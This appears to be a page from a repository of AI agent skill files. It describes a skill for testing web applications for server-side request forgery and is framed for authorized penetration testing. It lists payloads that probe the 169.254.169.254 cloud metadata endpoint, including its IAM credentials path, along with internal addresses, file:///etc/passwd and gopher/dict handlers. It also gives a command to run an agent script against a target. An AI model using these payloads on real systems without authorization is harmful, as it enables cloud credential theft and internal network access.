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Each rewritten description now states both what the skill does (concrete capability, named tools/artifacts) and an explicit when-to-use trigger, improving agent discovery/activation. Grounded in each skill's own body; changes confined to the `description` field only (bodies and all other frontmatter untouched). Produced by a gated audit->rewrite->recheck loop (548 -> 0 flagged) with a sampled anti-invention check (0 ungrounded). Schema: 817/817 pass. Framework-ID gate: 0 defects.
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2.3 KiB
name, description, domain, subdomain, tags, version, author, license, nist_csf, mitre_attack
| name | description | domain | subdomain | tags | version | author | license | nist_csf | mitre_attack | ||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| performing-ssrf-vulnerability-exploitation | Tests web application URL parameters for Server-Side Request Forgery by probing cloud metadata endpoints (AWS/GCP/Azure at 169.254.169.254), internal network services, and protocol handlers (file://, gopher://, dict://) using a Python script, including IP-encoding bypass and DNS rebinding checks. Use during authorized penetration testing to confirm SSRF in a URL-fetching parameter and generate a vulnerability report. | cybersecurity | security-operations |
|
1.0 | mahipal | Apache-2.0 |
|
|
When to Use
- When conducting security assessments that involve performing ssrf vulnerability exploitation
- When following incident response procedures for related security events
- When performing scheduled security testing or auditing activities
- When validating security controls through hands-on testing
Prerequisites
- Familiarity with security operations concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
Instructions
- Install dependencies:
pip install requests - Identify URL parameters in the target application that accept URLs or hostnames.
- Test SSRF payloads:
- Cloud metadata:
http://169.254.169.254/latest/meta-data/ - Internal services:
http://127.0.0.1:port/,http://10.0.0.1/ - Protocol handlers:
file:///etc/passwd,gopher://,dict:// - Bypass techniques: IP encoding, DNS rebinding, URL redirects
- Cloud metadata:
- Analyze responses for information disclosure or internal access confirmation.
- Generate a vulnerability assessment report.
# For authorized penetration testing and lab environments only
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
Examples
AWS Metadata SSRF
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
If the response contains AWS credentials (AccessKeyId, SecretAccessKey), SSRF is confirmed with critical impact.